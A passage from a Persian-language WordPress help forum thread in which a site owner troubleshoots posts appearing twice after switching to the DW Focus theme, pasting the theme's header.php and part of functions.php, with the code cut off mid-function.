silver8 2 ارسال شده در مهر 93 گزارش بازنشر ارسال شده در مهر 93 (ویرایش شده) با سلام قالب سایت رو چند روز پیش تغییر دادم به این قالب فعلی focus حالا مطالب قبلی سایت رو دوبار می زنه تو صفحه site:sibtorsh.irhttp://sibtorsh.ir/ک...د-و-موزیکال-مو/مطالب جدید که می ذارم درستهحالا قرار بود کسی از داخل هاست درست کنه نتوست نیم کاره ول کرد رفت هر کی بلد هست لطف کنه بگه یوزر و پس هاست بهش بدمبک اپ دیروز رو دارم فقط مطالب قبلی 2 بار نمایش داده می شه ویرایش شده مهر 93 توسط silver8 نقل قول لینک به ارسال
SM-Mahdavi 5427 ارسال شده در مهر 93 گزارش بازنشر ارسال شده در مهر 93 سلامبه انجمن خوش اومدینبا افزونه زیر پست های تکراری رو پاک کنید.https://wordpress.org/plugins/delete-duplicate-posts/ 2 نقل قول لینک به ارسال
silver8 2 ارسال شده در مهر 93 مالک گزارش بازنشر ارسال شده در مهر 93 خیلی ممنون یه کم پیدا کرد دلت کردم فقط هنوزم مشکل پابرجاست تو مطالب قبلی 2 بار نمایش می ده http://sibtorsh.ir/%D8%AA%D8%B5%D8%A7%D9%88%DB%8C%D8%B1%DB%8C-%D8%A7%D8%B2-%D8%B2%DB%8C%D8%A8%D8%A7%D8%AA%D8%B1%DB%8C%D9%86-%D8%AF%D8%B1%D8%AE%D8%AA-%D9%87%D8%A7%DB%8C-%DA%A9%D8%B1%DB%8C%D8%B3%D9%85%D8%B3-2014-%D8%B3/ نقل قول لینک به ارسال
SM-Mahdavi 5427 ارسال شده در مهر 93 گزارش بازنشر ارسال شده در مهر 93 محتوای header.php قالب رو بزارید اینجا. 1 نقل قول لینک به ارسال
silver8 2 ارسال شده در مهر 93 مالک گزارش بازنشر ارسال شده در مهر 93 بفرمایید<meta name="msvalidate.01" content="EFF7ACD6527AE6B263D005D8195A60CF" /><?php/*** The Header for our theme.** Displays all of the <head> section and everything up till <div id="main">** @package DW Focus* @since DW Focus 1.0*/?><!DOCTYPE html><html <?php language_attributes(); ?>><head><meta name="google-site-verification" content="n4AaWgT-V-2Gc8DKNEDRfQiRndGdDOVqHclmSm7Gocw" /><meta charset="<?php bloginfo( 'charset' ); ?>" /><meta content="width=device-width, initial-scale=1.0, user-scalable=no" name="viewport"><title><?php wp_title( '|', true, 'right' ); ?></title><?php load_theme_textdomain('dw_focus'); ?><link rel="profile" href="http://gmpg.org/xfn/11" /><link rel="pingback" href="<?php bloginfo( 'pingback_url' ); ?>" /><!--[if lt IE 9]><script src="<?php echo get_template_directory_uri(); ?>/assets/js/html5.js" type="text/javascript"></script><![endif]--><?php wp_head(); ?></head><body <?php body_class(); ?> ><header id="masthead" class="site-header" role="banner"> <div class="container"> <div id="header"> <div class="row"> <div id="branding" style="float:right !important;margin-right: 40px !important;" class="span3 visible-desktop"> <h1> <a href="<?php echo esc_url( home_url( '/' ) ); ?>" title="<?php echo esc_attr( get_bloginfo( 'name', 'display' ) ); ?>" rel="home"> <?php bloginfo( 'name' ); ?> </a> </h1> </div> <?php if( is_active_sidebar( 'dw_focus_header' ) ) { ?> <div id="sidebar-header" class="span9"> <div class="row"> <?php dynamic_sidebar('dw_focus_header'); ?> </div> </div> <?php } ?> </div> </div> <?php if( !is_handheld() ) : $max_number_posts = dw_get_option('dw_menu_number_posts'); if( ! $max_number_posts ) { $max_number_posts = 15; } if( $max_number_posts > 0 ) { ?> <div class="btn-group top-news"> <?php dw_top15(); ?> </div> <?php } endif; ?> <div class="wrap-navigation"> <nav id="site-navigation" class="main-navigation navbar" role="navigation"> <div class="navbar-inner"> <button class="btn btn-navbar" data-target=".nav-collapse" data-toggle="collapse" type="button"> <span class="icon-bar"></span> <span class="icon-bar"></span> <span class="icon-bar"></span> </button> <button class="collapse-search hidden-desktop" data-target=".search-collapse" data-toggle="collapse" > <i class="icon-search"></i> </button> <a class="small-logo hidden-desktop" rel="home" title="DW Focus" href="<?php echo esc_url( home_url( '/' ) ); ?>">DW Focus</a> <?php // Social links $facebook = dw_get_option('dw_facebook'); $twitter = dw_get_option('dw_twitter'); $gplus = dw_get_option('dw_gplus'); $linkedin = dw_get_option('dw_linkedin'); $feedlink = dw_get_option('dw_feedlink', true); $loginlink = dw_get_option('dw_loginlink', true); ?> <ul class="social-links visible-desktop"> <?php if( $facebook ) { ?> <li class="facebook"><a target="_blank" href="<?php echo $facebook; ?>" title="<?php _e('Facebook','dw-focus') ?>"><i class="icon-facebook"></i></a></li> <?php } ?> <?php if( $twitter ) { ?> <li class="twitter"><a target="_blank" href="<?php echo $twitter; ?>" title="<?php _e('Twitter','dw-focus') ?>"><i class="icon-twitter"></i></a></li> <?php } ?> <?php if( $gplus ) { ?> <li class="google-plus"><a target="_blank" href="<?php echo $gplus ?>" title="<?php _e('Google Plus','dw-focus') ?>"><i class="icon-google-plus"></i></a></li> <?php } ?> <?php if( $linkedin ) { ?> <li class="linkedin"><a target="_blank" href="<?php echo $linkedin ?>" title="<?php _e('Linked in','dw-focus') ?>"><i class="icon-linkedin"></i></a></li> <?php } ?> <?php if( $feedlink ) { ?> <li class="rss"><a href="<?php bloginfo('rss2_url'); ?>" title="<?php _e('Rss','dw-focus') ?>"><i class="icon-rss"></i></a></li> <?php } ?> <?php if( $loginlink ) { ?> <li class="login"><a href="<?php echo wp_login_url( get_permalink() ); ?>" title="<?php _e('Login','dw-focus') ?>"><i class="icon-user"></i></a> <?php } ?> </ul><!-- End social links --> <div class="search-collapse collapse"> <?php get_search_form( $echo = true ); ?> </div> <div class="nav-collapse collapse"> <?php $params = array( 'theme_location' => 'primary', 'container' => '', 'menu_class' => 'nav', 'depth' => 2, 'fallback_cb' => 'link_to_menu_editor' ); if (!is_handheld()) { $params['walker'] = new DW_Mega_Walker(); }else{ $params['walker'] = new DW_Mega_Walker_Mobile(); } wp_nav_menu($params); ?> </div> </div> </nav> <div id="under-navigation" class="clearfix under-navigation"> <div class="row-fluid"> <?php $offset = ''; ?> <?php if( is_active_sidebar( 'dw_focus_under_navigation' ) ) { ?> <!-- Under navigation positions ( breadcrum, twitter widgets) --> <div class="span9"> <?php dynamic_sidebar('dw_focus_under_navigation'); ?> </div> <?php } else { $offset = 'offset9'; }?> <div class="span3 <?php echo $offset; ?>"><?php get_search_form(); ?></div> </div> </div> </div> </div></header> <!-- End header --><div id="main"> <div class="container"> <div class="row"> نقل قول لینک به ارسال
عبدالماجد 3203 ارسال شده در مهر 93 گزارش بازنشر ارسال شده در مهر 93 سلام، مشکل به پلاگین سئو و یا بخش سئوی خود قالب بر میگرده.وقتی تگ <?php wp_head(); ?> میخواد اجرا بشه به همراهش اسکریپتها و کدهایی هم توی قالب نمایش داده میشه که اکثرا مربوط به پلاگینها و یا دستوراتی که نویسنده قالب اونا رو اونجا فراخوانی میکنه هستند.محتویات فایل فانکشن رو بزارید. 3 نقل قول لینک به ارسال
silver8 2 ارسال شده در مهر 93 مالک گزارش بازنشر ارسال شده در مهر 93 سلام مشکل از اسکریپ خودکار ارسال مطلب هست CyberSyn با قالب فوکوس مشکل داره هر ارسالی که انجام میده 2 بار نمایش می ده راهی هست که ارسال های قبلی رو درست کنم یا باید قالب چنج کنم؟ <?php/*** DW Focus functions and definitions** @package DW Focus* @since DW Focus 1.0.2*//*** Define template path*/load_theme_textdomain('dw_focus');if( !defined('DW_TEMPLATE_PATH') ){define('DW_TEMPLATE_PATH', get_template_directory() .'/' );}if( !defined('DW_TEMPLATE_URI') ){define('DW_TEMPLATE_URI', get_template_directory_uri() . '/' );}require_once DW_TEMPLATE_PATH . 'inc/browsers.php';/*** Optional: set 'ot_show_pages' filter to false.* This will hide the settings & documentation pages.*/add_filter( 'ot_show_pages', '__return_false' );add_filter( 'ot_show_new_layout', '__return_false' );add_filter( 'ot_theme_options_icon_url', 'dw_theme_option_icon');function dw_theme_option_icon(){ return get_template_directory_uri().'/assets/img/icon.png';}/*** Required: set 'ot_theme_mode' filter to true.*/add_filter( 'ot_theme_mode', '__return_true' );/*** Set the content width based on the theme's design and stylesheet.** @since DW Focus 1.0*/if ( ! isset( $content_width ) )$content_width = 640; /* pixels */if ( ! function_exists( 'dw_focus_setup' ) ) :/*** Sets up theme defaults and registers support for various WordPress features.** Note that this function is hooked into the after_setup_theme hook, which runs* before the init hook. The init hook is too late for some features, such as indicating* support post thumbnails.** @since DW Focus 1.0*/function dw_focus_setup() {/*** Custom template tags for this theme.*/require( get_template_directory() . '/inc/template-tags.php' );/*** Custom functions that act independently of the theme templates*/require( get_template_directory() . '/inc/extras.php' );/*** Init widgets for theme*/require_once DW_TEMPLATE_PATH . 'inc/dw-focus-sidebar.php';require_once DW_TEMPLATE_PATH . 'inc/widgets/dw-focus-dynamic-widget.php';require_once DW_TEMPLATE_PATH . 'inc/widgets/dw-focus-categories.php';require_once DW_TEMPLATE_PATH . 'inc/widgets/dw-focus-recent-posts.php';require_once DW_TEMPLATE_PATH . 'inc/widgets/dw-focus-twitter.php';require_once DW_TEMPLATE_PATH . 'inc/widgets/dw-focus-slider.php';require_once DW_TEMPLATE_PATH . 'inc/widgets/dw-focus-carousel.php';require_once DW_TEMPLATE_PATH . 'inc/widgets/dw-focus-tabs.php';require_once DW_TEMPLATE_PATH . 'inc/widgets/dw-focus-accordion.php';require_once DW_TEMPLATE_PATH.'inc/widgets/dw-focus-latest-headlines.php';require_once DW_TEMPLATE_PATH . 'inc/widgets/dw-focus-latest-comments.php';//Include new meta field for category taxonomyrequire_once DW_TEMPLATE_PATH . 'inc/category-meta.php';//Include mega menurequire_once DW_TEMPLATE_PATH . 'inc/mega-menu.php';//Update counting for social sharerequire_once DW_TEMPLATE_PATH . 'inc/social-sharing.php';//Add avatar to profilerequire_once DW_TEMPLATE_PATH . 'inc/simple-avatar.php';//Add avatar to profilerequire_once DW_TEMPLATE_PATH . 'inc/customization.php';require_once DW_TEMPLATE_PATH . 'inc/class-customize-control.php';/*** Make theme available for translation* Translations can be filed in the /languages/ directory* If you're building a theme based on DW Focus, use a find and replace* to change 'dw_focus' to the name of your theme in all the template files*/load_theme_textdomain( 'dw_focus', get_template_directory() . '/languages' );/*** Add default posts and comments RSS feed links to head*/add_theme_support( 'automatic-feed-links' );/*** Enable support for Post Thumbnails*/add_theme_support( 'post-thumbnails' );// Add DW Focus's custom image sizes.// Used for large feature (header) images.add_image_size( 'large', 640 , 360 , true );// Used for featured posts if a large-feature doesn't exist.add_image_size( 'medium', 230, 130 ,true );add_image_size( 'thumbnail', 110, 110 ,true );/*** This theme uses wp_nav_menu() in one location.*/register_nav_menus( array('primary' => __( 'Primary Menu', 'dw_focus' ),) );/*** Add support for the Aside Post Formats*/add_theme_support( 'post-formats', array('audio', 'gallery' , 'video' ) );}endif; // dw_focus_setupadd_action( 'after_setup_theme', 'dw_focus_setup' );if( ! function_exists('dw_focus_scripts') ) {//Enqueue scripts and styles for front-endfunction dw_focus_scripts() { wp_enqueue_style( 'dw_focus_template', get_template_directory_uri().'/assets/css/template.css' ); wp_enqueue_style( 'dw_focus_responsive', get_template_directory_uri().'/assets/css/responsive.css' ); if( is_archive() ) { $style = ''; $options = dw_get_category_option(get_query_var( 'cat' )); $style = isset( $options['style'] ) && $options['style'] != 'none' ? $options['style'] : false; // If have parent and not have style, get style of parent if( ! $style ) { $cat = get_category( get_query_var( 'cat' ) ); if( $cat->parent ) { $options = dw_get_category_option( $cat->parent ); $style = isset( $options['style'] ) && $options['style'] != 'none' ? $options['style'] : false; } } if( $style ) { $url = 'assets/colors/'.$style.'/style.css'; if( file_exists(DW_TEMPLATE_PATH . $url) ) { wp_enqueue_style( 'dw_focus_category_style', DW_TEMPLATE_URI . $url ); } } } wp_enqueue_style( 'style', get_stylesheet_uri() ); if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) { wp_enqueue_script( 'comment-reply' ); } wp_enqueue_script('bootstrap', DW_TEMPLATE_URI . 'assets/js/bootstrap.min.js',array('jquery') ); wp_enqueue_script('infinitescroll', DW_TEMPLATE_URI . 'assets/js/jquery.infinitescroll.min.js',array('jquery') ); wp_enqueue_script('dw_focus', DW_TEMPLATE_URI . 'assets/js/custom.js',array('jquery','bootstrap') ); wp_localize_script('dw_focus', 'dw_focus', array( 'ajax_url' => admin_url('admin-ajax.php'), ) ); if( is_single() ){ wp_enqueue_script( 'twitter-indent', '//platform.twitter.com/widgets.js' ); wp_enqueue_script( 'single-social', DW_TEMPLATE_URI . 'assets/js/single-socials.js', array('jquery','bootstrap') ); wp_localize_script('single-social', 'dw_focus', array( 'ajax_url' => admin_url('admin-ajax.php'), ) ); //print wp_enqueue_style( 'print-style', get_template_directory_uri() . '/assets/css/print.css', array(), false, $media = 'print' ); } //Swipe event wp_enqueue_script('mouse-move', DW_TEMPLATE_URI . 'assets/js/jquery.mouse.move.js',array('jquery') ); wp_enqueue_script('swipe', DW_TEMPLATE_URI . 'assets/js/jquery.swipe.js',array('jquery','mouse-move') );}add_action( 'wp_enqueue_scripts', 'dw_focus_scripts' );}if( ! function_exists('dw_focus_admin_scripts' ) ){// Enqueue scripts and styles for back-end panelfunction dw_focus_admin_scripts() { global $pagenow; if( 'widgets.php' == $pagenow ){ wp_enqueue_script('jquery'); wp_enqueue_script('dw-focus-widgets', DW_TEMPLATE_URI .'assets/admin/js/widget.js', array('jquery','jquery-ui-datepicker','jquery-ui-sortable','jquery-ui-sortable', 'jquery-ui-draggable','jquery-ui-droppable','admin-widgets' ) ); wp_enqueue_style('dw-focus-widgets', DW_TEMPLATE_URI .'assets/admin/css/admin-widget.css'); wp_enqueue_style('dw-focus-jquery-ui', DW_TEMPLATE_URI .'assets/admin/css/jquery-ui.css'); }}add_action( 'admin_enqueue_scripts', 'dw_focus_admin_scripts' );}if( ! function_exists('dw_focus_pagenavi') ) {/** * Create a pagination from query * @param object_var $the_query WP_Query Object that including query * @return void */function dw_focus_pagenavi( $the_query = false, $type = false ){ global $wp_query, $wp_rewrite; $query = ($the_query) ? $the_query : $wp_query; $max = $query->max_num_pages; $current_page = max(1, get_query_var('paged')); $big=999999999; if( ! $type ) { $type = dw_get_option('nav_type','number'); } if ( $max > 1 ) { ?> <?php if( $type != 'number' && ( strpos($_SERVER['HTTP_USER_AGENT'],'MSIE 8.0') ===false || is_mobile() ) ): ?> <div class="navigation"> <div class="navigation-inner"> <?php next_posts_link( __( 'See More', 'dw_focus' ) ); ?> </div> </div> <?php else: echo "<div class='pagination'>"; echo paginate_links(array( 'base' => str_replace( $big, '%#%', esc_url( get_pagenum_link( $big ) ) ), 'format' => '?paged=%#%', 'current' => $current_page, 'total' => $max, 'type' => 'list', 'prev_text' => __('<i class="icon-chevron-left"></i>'), 'next_text' => __('<i class="icon-chevron-right"></i>'), )); echo "</div>"; endif; ?> <?php }}}if( ! function_exists('dw_focus_next_posts_link_attributes') ) {/** * Add class for next link * @return string Class attributes */function dw_focus_next_posts_link_attributes() { return 'class="btn btn-large"';}add_filter('next_posts_link_attributes', 'dw_focus_next_posts_link_attributes');}/*** Show human time diff for post date value* @param string $from Creating date of the post* @return string Time in human time*///update time stampif( ! function_exists('dw_human_time_diff') ) {function dw_human_time_diff( $from, $format ){ $cmt_date = $from; $from = strtotime($from); if ( empty($to) ) $to = current_time('timestamp'); $diff = (int) abs($to - $from); if($diff <= 1){ $since = '1 ثانیه'; } else if($diff <= 60 ){ $since = sprintf(_n('%s ثانیه', '%s ثانیه', $diff), $diff); } else if ($diff <= 3600) { $mins = round($diff / 60); if ($mins <= 1) { $mins = 1; } /* translators: min=minute */ $since = sprintf(_n('تقریبا %s دقیقه', '%s دقیقه', $mins), $mins); } else if ( ($diff <= 86400) && ($diff > 3600)) { $hours = round($diff / 3600); if ($hours <= 1) { $hours = 1; } $since = sprintf(_n('تقریبا %s ساعت', '%s ساعت', $hours), $hours); } elseif ($diff >= 86400 && $diff <= 86400*2 ) { $days = round($diff / 86400); if ($days <= 1) { $days = 1; } $since = sprintf(_n('%s روز', '%s روز', $days), $days); } else { return the_time('d M Y'); } return $since . ' پیش';}add_filter( 'get_the_date', 'dw_human_time_diff', 10, 2);add_filter( 'get_comment_time', 'dw_human_time_diff', 10, 2);}if( ! function_exists('dw_the_modified_time') ) {function dw_the_modified_time( $d, $query = false ){ global $wp_query; if( ! $query ) $query = $wp_query->query; $query['posts_per_page'] = 1; $query['order'] = 'DESC'; $query['orderby'] = 'modified'; $posts = new WP_Query( $query ); if( $posts->have_posts() ) { while( $posts->have_posts() ) { $posts->the_post(); the_modified_time($d); } }}}if( ! function_exists('dw_breadcrumb') ) {function dw_breadcrumb(){global $post; echo '<ul class="breadcrumbs">';if (!is_front_page()) {echo '<li itemscope itemtype="http://data-vocabulary.org/Breadcrumb"><a itemprop="url" href="';echo home_url();echo '"><span itemprop="title">';bloginfo('name');echo "</span></a> </li> ";if ( is_category() || is_single() ) {if ( single_cat_title("", false)!='') echo '<li>'.single_cat_title("", false).'</li>';if ( is_single() ) { $cat = get_the_category(); if( !empty( $cat ) ) { echo '<li itemscope itemtype="http://data-vocabulary.org/Breadcrumb"><a itemprop="url" href="'.get_category_link($cat[0]->term_id).'"><span itemprop="title">'.$cat[0]->cat_name.'</span></a></li>'; echo "<li> "; the_title(); echo "</li>"; }}} elseif ( is_page() && $post->post_parent ) {$home = get_page_by_title('home');for ($i = count($post->ancestors)-1; $i >= 0; $i--) { if (($home->ID) != ($post->ancestors[$i])) { echo '<li itemscope itemtype="http://data-vocabulary.org/Breadcrumb"><a itemprop="url" href="'; echo get_permalink($post->ancestors[$i]); echo '"><span itemprop="title">'; echo get_the_title($post->ancestors[$i]); echo "</span></a> </li> "; }}echo the_title();} elseif (is_page()) {echo "<li>".get_the_title()."</li>" ;} elseif (is_404()) {echo "<li>404</li>";}elseif(is_search()){echo "<li>جستجو</li>";}elseif(is_author()){global $wp_query;$author = $wp_query->get_queried_object();echo "<li>".$author->user_nicename."</li>";}} else {echo '<li>';bloginfo('name');echo '</li>';}echo '</ul>';}}if( ! function_exists('dw_focus_post_actions') ) :/*** Display Social Share, Print, Sent Button*/function dw_focus_post_actions() { $post_id = get_the_ID(); $url = rawurlencode( get_permalink() ); $title = rawurlencode(get_the_title()); //Twitter $twitter_count = dw_get_twitter_count( $url ); $facebook_count = dw_get_facebook_count( $url ); $linkedin_count = dw_get_linkedin_count( $url );?><div class="entry-action"><div class="social-action" data-nonce="<?php echo wp_create_nonce( '_dw_sharing_count_nonce' ) ?>"><span class="title-action"><?php _e('Sharing','dw_focus') ?></span><ul> <li id="twitter-share" class="twitter" data-post-id="<?php echo $post_id ?>" data-nonce="<?php echo wp_create_nonce( '_dw_focus_single_tweet_count_nonce' ); ?>"><i class="icon-twitter"></i><a href="https://twitter.com/intent/tweet?url=<?php echo $url; ?>&text=<?php echo $title; ?>"><?php _e('Twitter','dw_focus') ?></a><span class="digit digit-twitter"><?php echo $twitter_count; ?></span></li> <li class="facebook"><i class="icon-facebook-sign"></i><a href="https://www.facebook.com/sharer/sharer.php?u=<?php echo $url; ?>&t=<?php echo $title; ?>" ><?php _e('Facebook','dw_focus') ?></a><span class="digit digit-facebook"><?php echo $facebook_count ?></span></li> <li class="google"><i class="icon-google-plus-sign"></i><a href="https://plus.google.com/share?url=<?php echo $url; ?>" ><?php _e('Google +','dw_focus') ?></a><span>0</span></li> <li class="linkedin"><i class="icon-linkedin-sign"></i><a href="http://www.linkedin.com/shareArticle?mini=true&url=<?php echo $url ?>&title=<?php echo $title ?>&summary=<?php echo rawurlencode( get_the_excerpt() ); ?>"><?php _e('Linkedin','dw_focus') ?></a><span class="digit digit-linkedin"><?php echo $linkedin_count ?></span></li> <li class="email"><i class="icon-envelope-alt"></i><a href="mailto:?Subject=<?php echo $title; ?>&body=<?php echo $url; ?>"><?php _e('Email this article', 'dw_focus' ); ?></a></li> <?php if( ! is_handheld() ) { ?> <li class="print"><i class="icon-print"></i><a href="#" onclick="window.print();"><?php _e('Print this article','dw_focus'); ?></a></li> <?php } ?></ul></div><?php /* translators: used between list items, there is a space after the comma */ $tags_list = get_the_tag_list( '', __( ', ', 'dw_focus' ) ); if ( $tags_list ) : ?> <div class="tag-action"> <span class="title-action"><?php _e('Tags','dw_focus') ?></span> <span class="tags-links"> <?php printf( __( '%1$s', 'dw_focus' ), $tags_list ); ?> </span> </div> <?php endif; // End if $tags_list ?></div><?php }endif;if( ! function_exists('dw_focus_post_format_icons') ) :/*** Display Post Format icon*/function dw_focus_post_format_icons($widget = false) {if( has_post_format( 'video' ) ) {$class = 'icon-facetime-video';} elseif( has_post_format( 'audio' ) ) {$class = 'icon-music';} elseif( has_post_format( 'gallery' ) ) {$class = 'icon-picture';} else {$class = 'icon-file-alt';}if( $widget ) {if( dw_focus_sidebar_has_widget( 'dw_focus_bottom', $widget->id ) ) {$class .= ' icon-play';}}$icon = '<i class="icon-post-format '.$class.'"></i>';return $icon;}endif;if( ! function_exists('dw_focus_post_views') ) {/** * Views count for a single post */function dw_focus_post_views() { if( is_single() ){ global $post; $view = get_post_meta($post->ID, '_views', true); $view = $view ? $view+1 : 1; update_post_meta($post->ID, '_views', $view); echo '<meta property="og:title" content="'.get_the_title().'" />'; echo '<meta property="og:url" content="'.get_permalink().'" />'; if( has_post_thumbnail() ) { $thumb_id = get_post_thumbnail_id(); $thumb = wp_get_attachment_thumb_url( $thumb_id ); echo '<meta property="og:image" content="'.$thumb.'" />'; } echo '<meta property="og:description" content="'.get_the_excerpt().'"/>'; }}add_action('wp_head', 'dw_focus_post_views');}/*** Improve Search Results Page*/// Highlight search termfunction search_excerpt_highlight() {$excerpt = get_the_excerpt();$keys = implode('|', explode(' ', get_search_query()));$excerpt = preg_replace('/(' . $keys .')/iu', '<mark>\0</mark>', $excerpt);echo '<p>' . $excerpt . '</p>';}function search_title_highlight() {$title = get_the_title();$keys = implode('|', explode(' ', get_search_query()));$title = preg_replace('/(' . $keys .')/iu', '<mark>\0</mark>', $title);echo $title;}// Exclude Pages from Searchfunction dw_exclude_pages_from_search() {global $wp_post_types;$wp_post_types['page']->exclude_from_search = true;}add_action('init', 'dw_exclude_pages_from_search');if( ! function_exists('dw_gallery_shortcode') ) {/** * The Gallery shortcode. * * This implements the functionality of the Gallery Shortcode for displaying * WordPress images on a post. * * @since 1.0.0 * * @param array $attr Attributes of the shortcode. * @return string HTML content to display gallery. */function dw_gallery_shortcode($attr) { $post = get_post(); static $instance = 0; $instance++; if ( ! empty( $attr['ids'] ) ) { // 'ids' is explicitly ordered, unless you specify otherwise. if ( empty( $attr['orderby'] ) ) $attr['orderby'] = 'post__in'; $attr['include'] = $attr['ids']; } // Allow plugins/themes to override the default gallery template. $output = apply_filters('post_gallery', '', $attr); if ( $output != '' ) return $output; // We're trusting author input, so let's at least make sure it looks like a valid orderby statement if ( isset( $attr['orderby'] ) ) { $attr['orderby'] = sanitize_sql_orderby( $attr['orderby'] ); if ( !$attr['orderby'] ) unset( $attr['orderby'] ); } extract(shortcode_atts(array( 'order' => 'ASC', 'orderby' => 'menu_order ID', 'id' => $post->ID, 'itemtag' => 'li', 'icontag' => 'dt', 'captiontag' => 'dd', 'columns' => 3, 'size' => 'thumbnail', 'include' => '', 'exclude' => '' ), $attr)); $id = intval($id); if ( 'RAND' == $order ) $orderby = 'none'; if ( !empty($include) ) { $_attachments = get_posts( array('include' => $include, 'post_status' => 'inherit', 'post_type' => 'attachment', 'post_mime_type' => 'image', 'order' => $order, 'orderby' => $orderby) ); $attachments = array(); foreach ( $_attachments as $key => $val ) { $attachments[$val->ID] = $_attachments[$key]; } } elseif ( !empty($exclude) ) { $attachments = get_children( array('post_parent' => $id, 'exclude' => $exclude, 'post_status' => 'inherit', 'post_type' => 'attachment', 'post_mime_type' => 'image', 'order' => $order, 'orderby' => $orderby) ); } else { $attachments = get_children( array('post_parent' => $id, 'post_status' => 'inherit', 'post_type' => 'attachment', 'post_mime_type' => 'image', 'order' => $order, 'orderby' => $orderby) ); } if ( empty($attachments) ) return ''; if ( is_feed() ) { $output = "\n"; foreach ( $attachments as $att_id => $attachment ) $output .= wp_get_attachment_link($att_id, $size, true) . "\n"; return $output; } $itemtag = tag_escape($itemtag); $captiontag = tag_escape($captiontag); $columns = intval($columns); $itemwidth = $columns > 0 ? floor(100/$columns) : 100; $float = is_rtl() ? 'right' : 'left'; $selector = "gallery-{$instance}"; $gallery_style = $gallery_div = ''; $size_class = sanitize_html_class( $size ); $gid = rand(1,15); $carousel_div = "<div id='gallery-{$id}{$gid}' class='gallery carousel slide'> <div class='carousel-inner' data-interval='7000'>"; $output .= apply_filters( 'gallery_style', $gallery_style . "\n\t\t" . $carousel_div ); $i = 0; $thumbnails = array(); foreach ( $attachments as $img_id => $attachment ) { $link = isset($attr['link']) && 'file' == $attr['link'] ? wp_get_attachment_link($img_id, $size, false, false) : wp_get_attachment_link($img_id, $size, true, false); $full_url= wp_get_attachment_image_src( $img_id,'full'); $thumb_url= wp_get_attachment_image_src( $img_id, $size ); $thumbnails[] = $thumb_url; $output .= "<div class='item"; if( $i == 0 ) { $output .= ' active'; $i++; } $output .= "'>"; $output .= "<img src='".$full_url[0]."' />"; $output .= "</div>"; } $output .= " </div>"; $output .= '<div class="carousel-nav"><ul></ul></div>'; //Carousel nav $output .= '<a class="carousel-control left" href="#gallery-'.$id.$gid.'" data-slide="prev"><i class="icon-chevron-left"></i></a> <a class="carousel-control right" href="#gallery-'.$id.$gid.'" data-slide="next"><i class="icon-chevron-right"></i></a>'; $output .= "</div>"; return $output;}remove_shortcode('gallery', 'gallery_shortcode');add_shortcode('gallery', 'dw_gallery_shortcode');}if( ! function_exists('dw_focus_add_layout_class') ) {function dw_focus_add_layout_class($classes){ if( ! is_active_sidebar( 'dw_focus_home' ) && is_page_template( 'Blog' ) ) { $classes[] = 'template-blog'; } $classes[] = dw_get_option('dw_layout'); return $classes;}add_filter( 'body_class', 'dw_focus_add_layout_class' );}if( ! function_exists('dw_focus_sidebar_has_widget') ) {/** * Check if the specify sidebar have widget * @param string $sidebar_name * @param string $widget_id widget html id * @return boolean */function dw_focus_sidebar_has_widget( $sidebar_name, $widget_id ){ $sidebars_widgets = wp_get_sidebars_widgets(); if( isset($sidebars_widgets[$sidebar_name]) ) { if( in_array($widget_id, $sidebars_widgets[$sidebar_name]) ) { return true; } else { return false; } } else { return false; }}}// Create new size thumbnailif ( function_exists( 'add_image_size' ) ) {add_image_size( 'slider-thumb', 520, 400, true ); //(cropped)}// Add parent class for menuif( ! function_exists('dw_focus_add_menu_parent_class') ) {add_filter( 'wp_nav_menu_objects', 'dw_focus_add_menu_parent_class' );function dw_focus_add_menu_parent_class( $items ) {$parents = array();foreach ( $items as $item ) {if ( $item->menu_item_parent && $item->menu_item_parent > 0 ) {$parents[] = $item->menu_item_parent;}}foreach ( $items as $item ) {if ( in_array( $item->ID, $parents ) ) {$item->classes[] = 'menu-parent-item';}}return $items;}}/*---------------------------------------------------------------------------*//* Apply Website Setup/*---------------------------------------------------------------------------*/if( ! function_exists('dw_script_header') ) {//Apply logo stylefunction dw_script_header() { $logo_custom_image = dw_get_option('dw_logo_image', get_template_directory_uri().'/assets/img/logo.png'); $dw_logo_small_image = dw_get_option( 'dw_small_logo_image', $logo_custom_image ); echo dw_get_option('dw_header_script');?><style type="text/css"> .site-header #branding a { display: block; background: url(<?php echo $logo_custom_image; ?>) no-repeat center; text-indent: -9999px; } #colophon.dark #site-info .small-logo { background-image: url(<?php echo $dw_logo_small_image; ?>); } @media ( max-width: 979px ) { .wrap-navigation .small-logo { background-image: url(<?php echo $dw_logo_small_image; ?>); } }</style><?php}add_action( 'wp_head', 'dw_script_header' );}if( ! function_exists('dw_script_footer') ){//Apply footer custom scriptfunction dw_script_footer() { echo dw_get_option('dw_footer_script','');}add_action( 'wp_footer', 'dw_script_footer' );}/*** Get active state for category listing*/function dw_active( $selected, $current = true, $echo = true ){if ( (string) $selected === (string) $current )$result = "active";else$result = '';if ( $echo )echo $result;return $result;}if( ! function_exists('dw_cat_filter') ) {/** * Make filter for listing style of category * @param string $list_type Type of listing style of category page * @return string Listing style */function dw_cat_filter($list_type) { if ( isset($_COOKIE["cat_listing"]) ){ $list_type = htmlentities( $_COOKIE["cat_listing"] ); } return $list_type;}add_filter('cat_display_filter', 'dw_cat_filter');}if( ! function_exists('dw_top15') ) {/** * Get latest news of today or numbers of recent posts for megamenu if dont have any post on today */function dw_top15(){ $display_type = dw_get_option('dw_menu_display_type'); if( ! $display_type ) { $display_type = 'today'; } $max_number_posts = dw_get_option('dw_menu_number_posts'); if( ! $max_number_posts ) { $max_number_posts = 15; } $post_array = array( 'posts_per_page' => $max_number_posts, 'order' => 'DESC', 'post_status' => 'publish', 'ignore_sticky_posts' => 1 ); $is_news_today = false; if( $display_type == 'today' ) { $is_news_today = true; add_filter( 'posts_where', 'dw_top15_filter_where' ); $r = new WP_Query( $post_array ); remove_filter( 'posts_where', 'dw_top15_filter_where' ); if( $r->post_count <= 0 ) { $is_news_today = false; $r = new WP_Query( $post_array ); } } else { $r = new WP_Query( $post_array ); } ?> <a class="dropdown-toggle" data-toggle="dropdown" href="#"> <span class="number"><?php echo $r->post_count; ?></span> <span><?php echo $display_type == 'today' && $is_news_today ? __('New Articles today','dw_focus') : __('Must read articles','dw_focus'); ?> <i class="icon-caret-down"></i></span> </a> <?php if ($r->have_posts()) : $i=0; ?> <div class="top-news-inner"> <ul class="dropdown-menu"> <div class="entry-meta"><?php echo jdate ('l, j F , Y') ; ?></div> <div class="row-fluid"> <ul> <?php while ($r->have_posts()) : $r->the_post(); $class = ''; if(has_post_thumbnail()) {$class .= 'has-thumbnail';} if($i % 3 == 0) {$class .= ' first';} ?> <li class="<?php echo $class ?>"> <div class="topnews-thumbnail"><a href="<?php 